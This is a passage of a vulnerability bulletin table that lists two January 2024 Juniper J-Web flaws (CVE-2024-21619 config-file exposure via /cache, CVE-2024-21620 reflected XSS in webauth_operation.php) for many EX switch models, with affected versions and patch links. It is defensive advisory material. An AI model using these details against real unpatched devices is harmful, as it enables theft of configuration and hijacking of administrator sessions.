			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex2300-24p					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal	https://supportportal.juniper.net/JSA76390	H-JUN-EX23-090224/1565

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10;	https://support portal.juniper.net/JSA76390	H-JUN-EX23-090224/1566

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex2300-24t					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing	https://support portal.juniper.net/JSA76390	H-JUN-EX23-090224/1567

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series:		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	H-JUN-EX23-090224/1568

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex2300-48mp					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access	https://support portal.juniper.net/JSA76390	H-JUN-EX23-090224/1569

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with	https://supportportal.juniper.net/JSA76390	H-JUN-EX23-090224/1570

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex2300-48p					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the	https://supportportal.juniper.net/JSA76390	H-JUN-EX23-090224/1571

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in	https://support portal.juniper.net/JSA76390	H-JUN-EX23-090224/1572

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Product: ex2300-48t					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file.	https://supportportal.juniper.net/JSA76390	H-JUN-EX23-090224/1573

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2.		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21619		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series:	https://support portal.juniper.net/JSA76390	H-JUN-EX23-090224/1574

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex2300-c					
Affected Version(s): -					
Generation of Error Message Containing Sensitive	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a	https://support portal.juniper.net/JSA76390	H-JUN-EX23-090224/1575

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Information			Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site	https://supportportal.juniper.net/JSA76390	H-JUN-EX23-090224/1576

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex2300m					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	H-JUN-EX23-090224/1577

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited	https://support portal.juniper.net/JSA76390	H-JUN-EX23-090224/1578

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex2300_multigigabit					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the	https://support portal.juniper.net/JSA76390	H-JUN-EX23-090224/1579

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator.	https://supportportal.juniper.net/JSA76390	H-JUN-EX23-090224/1580

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2.		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-21620		
Product: ex3200					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific	https://support portal.juniper.net/JSA76390	H-JUN-EX32-090224/1581

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives. This issue affects Juniper Networks	https://support portal.juniper.net/JSA76390	H-JUN-EX32-090224/1582

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex3300					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information.	https://support portal.juniper.net/JSA76390	H-JUN-EX33-090224/1583

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8;	https://support portal.juniper.net/JSA76390	H-JUN-EX33-090224/1584

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex3300-vc					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	H-JUN-EX33-090224/1585

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	H-JUN-EX33-090224/1586

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex3400					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information.	https://support portal.juniper.net/JSA76390	H-JUN-EX34-090224/1587

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions,	https://supportportal.juniper.net/JSA76390	H-JUN-EX34-090224/1588

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex4100					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then	https://support portal.juniper.net/JSA76390	H-JUN-EX41-090224/1589

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives.	https://support.portal.juniper.net/JSA76390	H-JUN-EX41-090224/1590

